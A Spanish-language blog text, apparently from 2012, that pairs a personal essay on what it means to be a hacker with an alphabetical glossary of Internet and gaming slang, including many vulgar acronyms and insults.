Afortunadamente al principio de esta empresa, nunca me toco responder a esa pregunta, pero si preguntarla y obtuve respuestas de un gran numero de personas, desde los newbies hasta los hackers de avanzada, con esas respuestas y a lo largo de mucho tiempo pude lograr un teorema amplio y metódico, pero lógico y comprensible para cualquier persona: El ser hacker no se estudia como una carrera, se aprende sobre la marcha con sus bemoles y su fracasos. Ningún hacker podrá jactarse de ser hacker, ni siquiera lo mencionará o lo dará por hecho, pues sobre el hay muchos otros mejores que el. Nadie puede auto proclamarse hacker, eso es ponerle fin a una meta personal. Un hacker nunca descansa aun cuando haya alcanzado sus propias metas, pues el conformismo no es una opción. La sensatez y el equilibrio siempre regirán la vida de un hacker, pues sin ellas jamás podrá evaluar su trabajo. El reconocimiento de 1 millón de personas no valen de nada si antes no se esta satisfecho con el desempeño propio.
Por todo lo anterior y por la experiencia que he ganado a lo largo de los años tengo plena seguridad de 2 cosas; Yo no soy un hacker. Al menos considero que aun no soy merecedor de tal nombre y las acciones que he descrito en todo este relato les darán a ustedes la certeza que así es, no ahondare mas en el tema, se que voy a sonar a un mártir de la causa y prefiero evitar lastima y compasión, así lo dejamos. Pero de lo segundo estoy también plenamente conciente, todos estos años, toda esta experiencia, lo vivido y aprendido me han dado pie a reconocer a los hackers verdaderos, a quienes van a lograr serlo y desde luego quienes son un cáncer de la comunidad y quienes solo serán parásitos que vivan a la sombra de lo que no son y jamás serán, hackers. Los pecados que arrastramos todos desde el principio de la cuesta, nunca serán borrados, los míos los reconozco a plenitud y se que caí en errores y pecados de los que muchos se sentirían avergonzados de tan solo recordar, pero para mi fueron el pilar de mi desarrollo, digamos que empecé como un buen script kiddie ególatra y como tal aprendí la humildad que encierra el fajarse los pantalones y decirlo abiertamente. Supongo pues, que esa es una limitante que muchos sepultan muy en lo profundo de su ser y es algo inevitable que hay que enfrentar no solo para poder llegar a ser hacker, si no para poder ser un hombre como tal.
Quiero hacer hincapié en lo referente al concepto de “hombre” y esto probablemente aclare el desglose de mi teorema explicado en el párrafo anterior; Un individuo llega a ser hombre cuando madura y deja al lado todos sus complejos, cuando ve en el a un humano con errores. Una persona que tiene miedo de ver sus errores y los evade, es un cobarde. Se puede llegar a ser hipócrita con los demás, se puede llegar a mentir a la gente e inclusive a cometer pecados bienales contra el prójimo, pero algo que no tiene razón de ser en un hombre es cometer estos errores contra uno mismo y vivir con ellos, aquella persona que no reconozca y enfrente sus errores es un mocoso que aun se esconde tras las enaguas de mama. La falta de valor y tesón hacen imposible para alguien madurar, por ende, nunca podrá ser un hombre. Yo puedo hablar de esto pues se que he alcanzado este nivel, he tomado mucho tiempo para marcar mis errores, son errores que ya están hechos, no puedo corregirlos, ensalzarlos o arrepentirme de ellos, tengo la capacidad para no cometerlos de nuevo, enfrentar sus consecuencias y expresar cada uno de ellos ante los demás y principalmente ante mi mismo... ah si, la respuesta a la pregunta es: “Un hacker es un hombre que no tiene miedo de si mismo y sabe afrontar las responsabilidades de cada una de sus acciones” Algo que queda terminantemente prohibido es que tomen esta respuesta como ciencia, estarían cayendo en el 2ndo error que marque anteriormente; Si, esta respuesta fue estudiada y metódica, pero es otra mas, como dije antes, esta no es una verdad absoluta, es solo una mas de las opiniones que ustedes encontraran en su camino, tómenla y sigan buscando mas opciones y lleguen a una conclusión propia que haga de ustedes hombres antes que hackers.

Apéndice:Jerga de Internet

2012-11-05T15:09:00.002-08:00

Aquí les dejo algo que me pareció curioso ademas de que les sera útil para entender muchas conversaciones en este mundo llamado Internet.

A

ACG: (A call get) 'Recibí la llamada'. Usado para avisar que se recibió una llamada.
AEMJEFE: Kid nab de haloce.
ACM1PT: ("Haceme un pete": pedir sexo oral). Termino utilizado en Uruguay, Argentina y Chile, popularizado por el personaje uruguayo de Internet "El bananero" como ofensa hacia otros.
AFAIK: (As Far As I Know) 'Hasta donde sé'. Usado para dar una información más bien escasa.
ASAP: (As Soon As Possible) 'Lo Mas pronto posible' en español, se usa cuando algo es prioritario. Ejemplo: "Cojan la bandera ASAP".
A4AF: (Asking for another file) 'Se le ha pedido otro archivo' en español, se usa en los programas P2P, cuando estas pidiendo un archivo y el usuario al que se le pide muestra A4AF en su estado. Ejemplo: eMule.
AFK: (Away from keyboard) En español es 'lejos del teclado', normalmente se usa en MMORPGs, con jugadores que están ausentes.
ASL: (Age, Sex, Location) 'Edad, Sexo, Localización' Utilizada en los chats para dar a conocer estos datos o preguntárselos a alguna persona.
Admin: Apócope de Administrator/Administrador. Dícese de la persona que alguien elige para controlar un servidor, ya sea de un juego, un foro, etc. Esta persona posee el poder de Banear, Kickear, y hasta eliminar a los usuarios que esten en su servidor.
AFRW: "Away From Real World" lejos del mundo real, ya sea a personas que se imaginan que son parte y estan dentro del juego.
AKA: "Also Known As", traducido "También conocido como".
APLH: "Apaga y Prende La Hueva". Apaga y enciende el computador/servidor después de una falla/error no recuperable.
ASDF: Se dice cuando no se tiene nada que decir pero se quiere tener la última palabra, o para crear spam en los foros de internet.

B

Banear: españolización del verbo inglés to ban (expulsar). Impedir el acceso a un usuario de un foro o un sitio por parte de la administración. Generalmente un usuario es baneado por incumplimiento reiterativo de las normas del lugar.
Brb: 'Be Right Back'; En traducción simple, 'vuelvo enseguida'.
BBL: 'Be back later'; En español, 'vuelvo más tarde'.
BBQ: Conjunto de letras que dichas en inglés vienen a significar "Barbacoa" en español, en inglés 'Barbacue'.
BFF: Acrónimo de Best Friends Forever ("Mejores amigos/as por siempre")
BILF: Boy I'd Like to Fuck! ("chico con el que me gustaría hacer el amor").
BSoD: Siglas de "Blue Screen of Death" (pantallazo azul de la muerte). Pantalla que aparece generalmente en Windows cuando ocurre un error grave, que impide que el sistema pueda continuar funcionando.
BTW: 'By The Way'; Traducido como "A propósito de...", "Hablando de...", o simplemente "Por cierto".
Bug: Palabra inglesa utilizada en cualquier software para referirse a fallos en su programación.
B4: (Before), en español 'antes'.
BKN: Representativo de la jerga chilena "Bakán", osea: Genial, Cool. Conocido por primera vez desde la teleserie con el mismo nombre
BS: (Bullshit), en español, "mentira", "tontera", e incluso literalmente "mierda". Se usa comúnmente cuando sucede algo muy improbable dentro de un juego, favoreciendo a uno de los dos jugadores.
Bestie: Abreviación de best friends, equivalente a BFF.
Bot: Palabra que puede significar Robot y que se designa a usuarios de foros y, sobre todo, chats y salas de charla online, que no son usuarios humanos, sino usuarios mecánicos establecidos en el servidor y programados para que hablen automáticamente respondiendo a los comandos programados.
B7: Significa Besets (Besitos).
Bn: Acrónimo de "bien".
BB: Bye Bye, Tambien usado como bebe.

C

CASTER:personaje que se ocupa de hacer daño a distancia tambien se usa en los videojuegos de rol.
COCHA: Usado para hablar de la COCHA , que es algo que no se puede describir por su grado de asquerosidad.
C8: Derivado del ingles osea Ceigth. Significa Cretino, utilizado pocas veces en chats, foros, MMORPG.
Carroñero: Usado en los juegos PvP, dícese de la persona que elimina (derrota) a un jugador que estaba siendo atacado por otro en el momento en que dicho jugador ya se encontraba débil. Véase también "fragear" (Latinoamérica).
Cheat: Derivado del inglés. Significa Trampa. Usado normalmente por los llamados Noobs, jugadores principiantes, para ganar fácilmente una partida. Existen algunos que solo con un click hace ganar la partida, hay otros que sin siquiera mover un dedo hace ganar todas las partidas. Se usa para ganar experiencia en juegos de ROL, o para hacerse notar en juegos FPS, pero ya sabiendo que es un Cheater o Cheto
CTM: Acrónimo interpretado principalmente en Chile por "Concha de tu madre" (Conchetumadre es pronunciado). También se puede interpretar en México como "Chinga tu Madre", "Checa tu Mail", "Cago en tu madre".
CHTM: Acrónimo de "Chinga tu Madre"
Crashed: Hace referencia informáticamente en parte al apagado del ordenador de golpe, sin previa preparación.
CSM: Acronimo de "Conchesumadre", con el mismo siginificado de "CTM", pero referido a una tercera persona.
CU2MORO: (See You Tomorrow) Mañana nos vemos.
Cya: Significa See ya! (¡Nos vemos!).
CUL8R: Significa see you later! (¡Hasta despues o nos vemos despues).
CTF: Significa Capture The Flag En Español:(Captura La Bandera), Comúnmente Usado En Videojuegos Multijugador Bélicos o De Guerra.

D

Deface/Defacement :¹ romper la seguridad de un sitio web y cambiar la página principal.
Delay: En español "retraso". El delay en los videojuegos quiere decir que las acciones están retrasadas, es decir que se hace un movimiento y el juego se demora cierto tiempo en realizarlo, generado por la distancia del usuario al servidor (ping).
DND: Do Not Disturb. En español, "No Molestar". Esta frase es generalmente usada en programas de mensajería instantánea para indicar el estado en que se encuentra el usuario.
DPS: Damage per Second (Daño por segundo), tambien se usa en los videojuegos MMORPG a un jugador cuya principal función es la de hacer una gran cantidad de daño a los enemigos.
Dew: Procediente de "Adéu", que significa Adios en catalán. Utilizado en los MMORPG y en chats.
DNCER: Significa "Del Nido, cómeme el rabo". Muy usado en Bilbao.
dw: Significa "No te preocupes". Proviene del inglés Don't Worry.

E

Edith: Cuando se quiere insultar a una persona muy negra de origen japones , tambien si se quiere referir a los pies con acido.
:B: Se utiliza para mostrar una cara en la que los : son los ojos y la B es una boca que enseña los dientes con cara alelada o poco inteligente. Su significado puede ser similar al de xDDD o cuando se quiere mostrar una ironía.
Edit: Edit o Edited, palabra inglesa que significa Editado en español. Utilizada en juegos Online para decir que alguien tiene un personaje editado de forma que hace uso ilegal del personaje, beneficiándose sobre otros.
Élite: Palabra que designa superioridad tanto para jugadores como para NPC(Personajes No Jugadores)

F

Farm: del inglés granja. Dicese del jugador que por su inexperiencia o impericia en un juego, hace que otros jugadores se aprovechen de él, ganando experiencia o recursos a su costa. O quien se aprovecha de una falla del juego para sacar puntaje extra.
FD: en español: fuertes declaraciones.
Flood: del inglés inundación. Programa o script diseñado para saturar a base de repetición de un texto, generalmente spam, un usuario tambien puede realizar esta acción.
Frags: Proviene originalmente del juego Unreal (de 1998 posterior a Quake y predecesor del Unreal Tournament), donde a cada punto obtenido por matar a otro jugador se lo llamaba de esta forma. Actualmente se utiliza este término en muchos juegos de acción con la mísma dinámica (matar otros jugadores).
Freeze: Hace referencia a "Tildar", "Colgar" o "Congelar", pero habiendo la posibilidad que luego de un instante continue. Ej: Se Freezo el Juego (Lease como: se congelo el juego).
F2P: "Free to Play" (El 2 sugiere el sonido del artículo inglés "to", al ser éste muy similar con el de dicho número two). Se utiliza para etiquetar los servidores de juego gratuito, especialmente para juegos MMORPG.
FILF : Acrónimo de Father I'd like to Fuck', me follaria a tu padre
FTW : Del inglés, "For The Win", que vendría a significar literalmente "Por la victoria", se utiliza cuando apoyas algo.
FYI: Acrónimo de "For Your Information", es decir, "para tu información" o "para tu conocimiento". Es utilizado para retransmitir o reenviar información o e-mails de interés.
Fake: del Ingles "Falso". Se utiliza para engañar virtualmente a la gente por Internet, es muy parecido al Xploit.
FoF: "Foto o Fake" Se utiliza cuando hacen ingreso de nuevos miembros femeninos en una comunidad de foros. En otras palabras, se pide una "foto o fake" para comprobar que dicha persona es realmente mujer. Tambien se utiliza en caso de alguna noticia o hecho en el que se tenga que demostrar que es realidad y no algo falso.
Flooder: de Flood (inundación), persona que escribe mucho y seguido (en vez de un solo envío con comas) o haciendo Flood normal.
FUD: Significa "Miedo, incertidumbre y duda" (del inglés "Fear, uncertainty and doubt"), definición que describe una estrategia comercial, basada en el miedo, cuyo objetivo es el de perjudicar a un competidor. Dicha técnica consiste en difundir información negativa, falsa, vaga o sesgada.
FUF: "Festejen Uruguayos, Festejen" Se utiliza solo cuando se logra algo importante que hace años (o mucho tiempo) que se buscaba y no se podia obtener. Tambien se utiliza ironicamente cuando no hay nada que festejar.
FFA: "Free For All" (libre para todos) Todos pueden atacar a los distintos objetivos sin respetar turnos o llegadas.
FPS: Tiene dos significados, uno es First Person Shooter, "Juego de Acción en Primera Persona" en español. Otro es Frames per Second, "Fotogramas por Segundo", referente a la cantidad de imágenes por segundo de un videojuego.
FAIL: En español "Fallo", suele indicar una acción penosamente realizada, aunque también se usa para crear incomodidad en alguna situación real.

G

GR8: Great (Genial, magnífico).
Gamer: Persona apasionada por los juegos, ya sean de ordenador, internet o videoconsolas.
Game master/GM: Persona que se ocupa del buen funcionamiento de un juego online, y de solucionar problemas con los jugadores.
Gayer: Adjetivo utilizado para designar a una persona no decidida a realizar una acción ya sea en una realidad virtual o no.
Geek: Persona con una gran fascinación por la tecnología e informática, abarcando los diferentes tipos de geek desde un nivel de fascinación normal hasta niveles obsesivos.
Gg: Significa Good game (Bien jugado). Al finalizar una partida, se utiliza para mostrar que esta ha sido una buena partida o felicitar al ganador de esta.
GILF: "Girl I'd like to fuck". ("chica con la que me gustaria follar").
GIYF: "Google Is Your Friend", ("Google es tu amigo" en español). Esta suele ser la respuesta que recibe cualquier pregunta que hubiera sido fácilmente respondida buscando en el motor Google. También puede indicar (no obligatoriamente) que quien responde se siente ofendido y considera una falta de respeto que la persona que pregunta no se tome el trabajo de leer y buscar por su cuenta, caso en el cual, encontraría fácilmente la solución a su interrogante.
Gl: Significa Good Luck (Buena Suerte). Se dice antes de empezar una partida para desear suerte a los otros jugadores de esta. Suele ir acompañada de hf (Have fun/Diviertete).
Glitch: Bug que beneficia al que lo realiza.
Googlear: Buscar cosas en Internet, más especificamente en la plataforma de Google.
GTFO: Significa "Get the fuck out". Sería como "Vete a la mierda".
Gj: Se traduce como "Good job" (Buen Trabajo). Su intencion es similar a Gg.
GZ: Significa enhorabuena por un logro obtenido, tambien suele decirse (Gratz).
GvG: Significa Clan vs Clan (Guild vs Guild).
Gf: Acrónimo de "girlfriend" que en español significa enamorada, novia. Generalmente se usa en juegos MMORPG para invitar a una chica a estar con el usario. También puede querer decir (dependiendo del contexto) "Good Fight" (Buena pelea), después de haber librado un duelo o pelea con otro usuario, en juegos como por ejemplo el Jedi Knight multijugador . Es una muestra de respeto (ya se gane o se pierda).
g2g o gtg: Significa "going to go", es decir, estarse yendo.
GAMEAR: Variacion de Jugar.
GWS: "Get Well Soon". (Recupérate pronto).

H

Hack: Derivado del inglés. Véase hacker (informática). Casualmente se lo usa para nombrar trampas en juegos. Auto-aim, no-recoil, speedhack, se los usa comunmente en juegos de ROL, y FPS.
Hav: Se pronuncia"hab" viene de la palabra en inglés "have" que significa tener. Es una variación de la misma.
HDSPM: Hijo de su puta madre, termino vulgar despectivo de alguna persona.
Healer: Sanador, personaje que ocupa el rol de curación.
HNFI: Acrónimo de Have No Fucking Idea. (No tener ni puta idea).
HF: Acrónimo de Have fun. (Diviértete). Utilizada para desear a los jugadores de una partida que se diviertan jugandola.
Hacker: Dícese de la persona que utiliza Hacks.
Hoygan: Persona que en foros con normas en las que se prohíbe pedir u ofrecer warez, lo pide, entre otras peticiones, como exigir algunas cosas que son absurdas. Se suele destinar tambien a personas que escriben estilo SMS y con faltas de ortografía en exceso.
HUNTED: es una amenaza, da a referir que te asesinara el otro player, por ejemplo, si te dice estas hunted! es que te intentara matar.
HDP: Hijo de puta, Termino vulgar despectivo de alguna persona.
H8: Acrónimo de "hate" que en español significa odio.
HDC: Hide Doesn't Count. (Esconderse o Esconder algo no vale)

I

IDC: I Don't Care. (No me importa).
IDK: I Don't Know. (No lo sé).
IGM: In Game Message. (Mensaje dentro del juego).
IGN: In Game Name. (Nombre dentro del juego).
IKR: I know right?. (Lo sé, ¿verdad?).
IMHO: Acrónimo de In My Humble Opinion. (En mi humilde opinión).
IMO: In My Opinion. (En mi opinión).
ILY: I Love You. (Te Amo).
ILU: I Love U (You). (Te Amo).
IRL: In Real Live. (En la vida real).*IRL
IMBA: Del termino Imbalanced, Ser poderoso"

J

JK: Just Kidding (sólo estoy bromeando). Para dejar algo claro.
JD: Igual que fuertes declaracion pero dicho "juertes declaraciones.
Jamer: (equivalente a KS) Usado en los MMORPG (Massive Multiplayer Online Role Playing Game) para referirse a la gente que termina el enfrentamiento que otra persona empezó, así arrebatarle los beneficios como los puntos de experiencia(Puntos ganados del en el encuentro que sirven para crecer al personaje).
Juanker: usado despectivamente contra alguien que se piensa hacker. Proviene de la unión de "juas" y "hacker".
Jabberiano: se emplea para nombrar a un usuario del servicio de mensajería instantánea abierto XMPP/Jabber.
JcJ: se usa en juegos de rol on-line para activar los modos jugador contra jugador
Jumi: se usa en juegos muy frikis, y se dice de la persona mas imbecil del juego.

K

Kaker: Se utiliza despectivamente para llamarle a las personas que dicen ser hackers, es el equivalente de Juancker. Es muy usado en Taringa, debido a un "Hacker" que decía haber hackeado miles de tarjetas de créditos.
Kick: Se utiliza para expulsiones de un chat especialmente. A diferencia de un ban, un kick te permite volver a entrar nada más ser expulsado.
Kickear: Proviene de la palabra Kick, significa echar a alguien de un chat, una pelea, etc. Se utiliza comúnmente en juegos Online.
KK: Abreviación de okok usada en algunos chats.
KS: Kill stealing.Usado en los MMORPG (Massive Multiplayer Online Role Playing Game) para referirse a la gente que termina el enfrentamiento que otra persona empezó, así arrebatarle los beneficios como los puntos de experiencia(Puntos ganados del en el encuentro que sirven para crecer al personaje).
Kiter:Aparte que cuando se bota a alguien de la sala (kick) si en medio de un juego alguien se sale, sin motivo alguno, se le refiere kiter
KMYA: ( Kiss MY Ass, traduccion: Besa Mi Trasero ) termino usado para reflejar poca importancia con respecto a un tema.
KTM: Abreviatura de mentada de madre (conche tu madre) usada en el Perú. Usado en los MNORPG.

L

Lag: dificultad producida por el retraso de una comunicación normalmente ocurrida por fallos en la conexión de internet. En los videojuegos se tiende a confundir lag con delay. Lag es cuando la fluidez del movimiento del juego es alterada por fallos en la conexión y eso causa que la animación sea a trompicones y no fluida.
Lamer: persona de pocas luces (lo contrario de hacker, no sabe utilizar la informática) que además hace ostentación de saber. También se utiliza en los juegos online para denominar a aquellos jugadores que obtienen puntuación matando jugadores indefensos (sin armas), sin conexión o con lag y también a aquellos que no saben jugar o novatos. En el juego Warcraft 3 es usado para las personas que atacan la base oponente si estar acompañados por creeps manejados por la computadora. Palabra del ingles (lammer) que significa manco, sin brazos, en los juegos de FPS (First Shooter Person).
LDT: Acronico de Lejos del Teclado
Leecher: persona que se aprovecha de los recursos de los demás sin aportar nada a cambio, un parásito; proviene de la palabra Leech, sanguijuela. Como ejemplos tenemos vincular imágenes de otros servidores sin permiso, o en el caso de los P2P, persona que baja muchas cosas pero comparte muy pocas o ninguna, personas que en juegos online dejan sus persoajes dentro de partys estando AFK para asi obtener experiencia sin ningun esfuerzo.
Leet: /lit/ en un principio l33t o 1337 en ASCII, significa élite, persona o grupo muy apto en cuestiones de informática.
LOL: Acrónimo de Laughing Out Loud, Lots Of Laughs o Laugh Out Loud. (risa a carcajadas). En otros ámbitos también significa Lots of love, mucho amor, tambien algunas personas piensan que es una palabra de ofensa. En otros casos como una exclamación a algo que te ha parecido extraño parecido al OMG o algo que tendria que hacer gracia y no te a hecho.
LOLZ: Plural de la palabra y/o expresión LOL (Laughing Out Loud).
LMFAO: Acrónimo de Laughing My Fucking Ass Off. (Partirse el puto culo de risa). También existe una versión más corta: LMAO, Laughing my ass off, partirse el culo de risa.
LMPP: Acrónimo de Lo Más Pronto Posible.
LMLT: Acrónimo de "Look My Last Twitt". Mira mi ultimo twitt, es usado para decirle a alguien que ponga atencion a tu ultima actualizacion en Twitter.
LAT: Acrónimo de Living Apart Together. Equivalente a la frase en español "Juntos, pero sin compartir lavadora" o "Juntos, pero no revueltos".
LAWL:Derivado de lol que en ingles se pronuncia como lo leemos en español.
L8er: Significa Later (más tarde).
LPM: Acrónimo de La Puta Madre.
LPQTRMP:Acrónimo de "LA Puta Madre Que Te Re Mil Pario
LCTM: Acrónimo de La Concha de Tu Madre.
LRCTM: Acrónimo de La Re Concha de Tu Madre.
lB: Acrónimo de Un Beso. Utilizado para expresar amor o para despedirse (Normalmente entre chicas...)
luv:Se pronuncia"lob" viene de la palabra inglesa "love" que significa amor. Es una variacion de la misma.
LETG: Acrónimo de "Le Echaba Tol Grumo". Tol = "Todo el". Frase del sur de madrid.
LETGELT: Acrónimo de "Le Echaba Tol Grumo En Las Tetas". Frase del sur de madrid.

M

MANKO:se denomina a si a la persona que no sabe jugar a un juego, es muy comun usarlo en juegos (PvP)
MORTI: Abreviacion de Morticia (Asquerosidad viviente)
MANZA: Usado para decirle joto a alguien.
MADAFAKA: Acrónimo de Mother Fucker (Hijo de puta)
MCTM: Acrónimo de Maraco conche tu madre
MILF: Acrónimo Mother I'd like to Fuck (Madre con la que me gustaría tener sexo).
MMGB: Acrónimo de Mamaguevo (Mama huevo).
MMORPG: Acrónimo de Massive Multiplayer Online Role Playing Game (Juego de Rol Online Multijugador Masivo).
MQMF: Acrónimo de Madre Que Me Follaría. equivalente al 'MILF'.
MTFBWY: Acrónimo May The Force Be With You. (Que la Fuerza te Acompañe).
MTF: Acrónimo de Mother Fucker. (Hijo de Puta o Hijo de Perra).
MMG: Acrónimo de Mamaguevo, usado comúnmente en Venezuela y República Dominicana.
MLP: Acronimo de Me La Pelas, expresion usada en mexico.
MP: Acrónimo de message private (mensaje privado)
MSLGR: Acrónimo de Se me Saltan las LaGrimas de la Risa que corresponde a la traducción de LOL.
MW: Acrónimo de maricón weon, expresión chilena.
MRD: Acronimo de mierda, expresion de arrepentimiento.(oh!, mierda[mrd])
MK:marica
MVM:Acrónimo de Me vale madre, expresión de Amí que me importa pero un poco mas grosero (usada comúnmente en México).

N

ND: Acrónimo de 'Nicely Done'. En castellano 'Bien hecho'. Tiene el mismo significado y uso que 'N1'.
Newbie: //Niubi// Palabra inglesa destinada para hacer referencia a alguien nuevo en un tema o un ámbito, alguien inexperto.
Newfag: Nuevo en algo, (pendejo)
NH: Nice Hand ("Buena Mano" en juegos de cartas)
Noob: //Nub// Palabra inglesa con el mismo significado que novato, usado de forma despectiva, para burlarse a alguien que tiene conocimientos inferiores.
NoobBasher: Refiere a los jugadores con gran grado de experiencia que sólo juegan contra jugadores novatos con el fin de obtener una victoria muy fácilmente.
NP: Acrónimo de No Problem. (No hay problema).
NPI: Acrónimo de Ni Puta Idea o No Poseo Información.
NS: Diminutivo de Nice. Se usa para felicitar a un contrincante o compañero por una buena jugada.
NSFW: Acrónimo de Not safe for work o No seguro para el trabajo. Hace alusión a que algo posteado en una pagina de internet podria meterte en problemas si lo miras desde tu oficina.
NTC: Acronimo de No Te Creas
NTP: Acrónimo de No Te Preocupes
Nuuu...!: Muy usado en tono de gracia cuando algo no sale bien, reemplaza a "Nooo".
NVM: Acrónimo de Nevermind. (No importa).
NFS: Acrónimo de Not for Sale. "No esta a la venta", usado en los MMORPG refiriendose a que algun objeto que tienes a la vista (equipado) que no esta a la venta.
N1: Nice One Expresa que has hecho algo bien, es un Bien hecho.
Ñuub: Variante léxica de Noob utilizada más comunmente en un ambiente social sin intención de connotaciones negativas.

O

OWNED: Es usado cuando una persona queda humillada públicamente, o cuando algo sale mal. También es usado cuando alguien pierde contra un contrincante, él dice "owned".
OMC: Significa "Oh my Science", en castellano "oh ciencia mía". Esta frase es mas usada por no creyentes
OMG: Significa "Oh my god", en castellano "oh dios mío", se utiliza cuando algo es sorprendente o impresionante.
OOC: Significa "Out Of Character", en castellano "Fuera de Personaje", usado en Juegos de rol para demostrar acciones hechas sin necesidad de "rolear"
Orly: Significa "oh really?" y en castellano "oh ¿de verdad?" ámpliamente utilizado en foros para enfatizar algo que no se cree. Como decir "¿me lo dices en serio?", generalmente es usado sarcásticamente, para denotar falsedad, u obvia falacia que normalmente proviene de un Lamer.
OSOM: Es la pronunciación de la palabra awesome, que significa asombroso o impresionante. La utiliza el luchador de la WWE: The miz en la frase: "because i'm the miz and i'm OSOM!!"
OMFG: Significa Oh my Fucking God (Oh mi puto Dios) o Oh My Freaking God (Oh mi maldito Dios)
OMW: Significa "on my way", es decir, voy de camino.
OTP: Significa "One True Pairing" y en castellano "una verdadera vinculación/relación/pareja", los fans de alguna serie u otros la usan para referirse a su pareja favorita de estas, generalmente colocan los nombres y dicen que es su “OTP”.
OMGWTFBBQ: Significa "Oh My God What The Fuck Barbeque", muy usado en la jerga inglesa, es una combinación entre “OMG” y “WTF”, y suele usarse para detonar una sorpresa exacerbada y en cuota de humor. No tiene una traducción exacta.
OMFGMCN: Acronimo de "Oh My Fucking Great Master Chuck Norris".
OPD: Significa "Oh por Dios" en versión latina, por Glanbacheim.

P

P2P: Peer to peer, comunicación entre pares, que permite la descarga gratuita de programas, imágenes, videos y música.(Se debe tener cuidado con estas descargas, debido a que algunas veces pueden estar infectadas con algún virus). O puede ser Pay to play que es en los servidores comunmente MMORPG que son pagados
PAMC: Acrónimo de Paja a mano cambiada.
PJ: Personaje jugable, hace referencia a un jugador en los juegos MMORPG.
PK Player Killer, jugador que se dedica a matar a otros jugadores.
PMS: usado para premenstrual syndrome. Se usa para hablar de una mujer cuando se comporta muy desagradable.
PnJ: Personaje no jugable (juegos MMORPG)
PnP: Abreviatura de 'Plug and Play', los objetos electronicos o 'hardware' (reproductores de MP3, pendrives, joysticks, placas/tarjetas de video/sonido, etc.) tengan esta función para demostrar que una vez enchufada a una PC, PS2, XBOX, etc. se pueda usar en el momento.
PP: Party Pliz, utilizado en juegos MMORPG, lo utilizan para pedir party o invitación a un grupo de jugadores.
PLR: Acronimo de "Patá en la raja"(Patada en el culo) usado en Chile
Plz: Abreviación de la palabra en inglés please ("por favor" en español).
PPEQLE:Puto pendejo el que lea esto (usado en las salas de chat"
PQD: Signifca "Pero que Demonios!!" versión latina, por Glanbacheim.
Ps: Abreviación de "pues", se suele usar mucho al final de una idea.
PSECP: Es la abreviatura de "Por si estabas Con el Pendiente".
PST: Es una abreviatura que se entiende mejor por el sonido. Se usa para llamar la atención de alguien.
PT: Muy utilizado en los MmoRpg's, se refiere a Grupo, osea formar un grupo para subir de nivel en equipo.Tambien significa "Puto".En argentina significa "Pete",una forma de insultar a los low level en los MMORPG
PTI: Es la versión en español de FYI, y vendría a significar "Para tu información".
PTM: Muy utilizado en los PnP, se refiere a en castellano a "PuTamare".
PTP: "Pico Tu Padre".
PvE: Es la abreviatura de Player versus Enviroment (JcE: Jugador contra Entorno). Se usa en juegos MMORPG.
Pwned: Quiere decir "Powerfuly Owned", o sea, una variación de "Owned", sólo que más "poderoso", por otro lado puede ser un error ortografico al escribir la palabra, ya que está la "P" junto a la O.
PvP: Es la abreviatura de Player versus Player/People versus People (JcJ: Jugador contra Jugador). Se usa en juegos MMORPG.

S

Scrim: Encuentro formal entre 2 clanes, principalmente se da en los FPS.
Spoiler: del inglés "Spoil" cuyo significado literal es "estropear(se), echar(se) a perder, etc." Es un BBCode de los foros que oculta parte del contenido de un post, haciéndolo visible pulsando un botón. Se suele usar para hablar de argumentos de películas, libros, etc, para no molestar a la gente que todavía no haya visto/leído alguna película o libro.
Smurf: Es cuando un jugador experto se conecta usando una cuenta de novato haciéndole creer a todos que no sabe jugar con el fin de obtener puntos rápidamente en un ranking.
Sk8: skate
Spam: correo publicitario no solicitado. En los foros es llamado aquello tópico/post sin sentido, en el cual es el mismo significado que la palabra "FLOOD". Proviene del movimiento humorístico masivo de Monthy Phyton en Estados Unidos principalmente, el cual hizo referencia en una de sus actuaciones al "spice jam" (mermelada de especias) que se utilizaba masivamente en el Reino Unidos años atrás, por lo que lo exagera pronunciando estas palabras rápidamente hasta formar SPAM (SPice jAM).
STFW: "Search The Fucking Web" (en español equivale a "Busca en la puta web" o "Busca en la maldita Internet"). Esta suele ser la respuesta que recibe cualquier pregunta acerca de cómo conseguir algún programa, archivo u otro tipo de información que hubiera sido fácilmente encontrado mediante una búsqueda en Internet usando algún motor de búsqueda como Google o Yahoo!. Al mismo tiempo, también puede indicar (no obligatoriamente) que quien responde se siente ofendido y considera una falta de respeto el hacerle perder su tiempo con una pregunta cuya respuesta es prácticamente obvia y de fácil acceso.
STFU: Viene de la forma vulgar de "Shut Up" y significa "Shut The Fuck Up". Algo como "Cállate de una puta vez".
Snif...: Sentimiento de tristeza.
Sucker: Se emplea acompañado de algo inicial, y designa a alguien que "apoya" algo que realmente no es bueno, como por ejemplo, Windows-sucker sería alguien que apoya Windows maldiciendo. También se puede usar Sux, que sirve para nombrar algo "malo", por ejemplo "maldito Windows-sux". Traducido al coloquio español se conocería como Lameculos.
Seee!: Muy usado en tono de gracia cuando se quiere decir "¡Siii!", por su parecida forma de pronunciar.
SOAB!: Son Of A Bitch, significa en español algo como Hijo de Puta.
SLCLE: Acrónimo de "Si La Cojo La Espachurro", se puede exagerar, diciendo "Espachiiurrrrro". También se suele utilizar refiriéndose a la segunda persona, "Si Te Cojo Te Espachurro", es una frase usada al sur de Madrid.
SV:Se usa como abrebiacion de la palabra "Servidor"

T

TBM:Tambien (La M es reemplazada por la N).
TGIF:Thanks God It's Friday. Gracias a Dios es viernes...
Tkm: "Te Kiero Mucho", pero que también puede usarse en forma sarcástica para decir "Te Kiero Matar".
Tk: Team Killer se o te kiero
Tnx o Thnx: Acronimo de thanks en ingles se usa para decir gracias
TTYS: Significa Talk To You Soon, en Español, Hablamos Pronto.
TTYL: Significa Talk To You Later, en español, Hablamos Después.
TQM:Te quiero mucho...
TP:Tampoco.
TPM: Acrónimo de Tu puta madre.
TSK: El "Tsss...". Como desaprovación o simpatía por algo que se ha dicho.
TT_TT: Una cara que llora.
-_-: Una cara que expresa cuando algo le parecio estupido.
TTYN: Talk to you never, en español, No hablamos más.
TYVM: Thank you very much (Muchas gracias).
TY: Thank you (Gracias) se usa para agradecer a la gente en juegos online.
TQD: Te quiero demasiado
TPN3:Te penetre
Troll Es aguien que se encarga de molestar a la gente en internet

U

U: Significa You. (Tú, Vos, Ustedes).
Uber: Palabra alemana que significa "superioridad", usado comunmente para marcar las habilidades de una persona/cosa, ej: "¡Esa persona es uber!"
Ur: Significa Your. (Tu, Tus, Su, Sus), You're (eres, sos, son).
Ure: Significa You're. (eres, sos, son).

V

Ver: Significa Version (Versión, Edición, etc.).

W

WB: Acrónimo de "Welcome Back" (Bienvenido Nuevamente), Generalmente es usado en los chats cuando un usuario se sale y vuelve a entrar en un lapso breve.
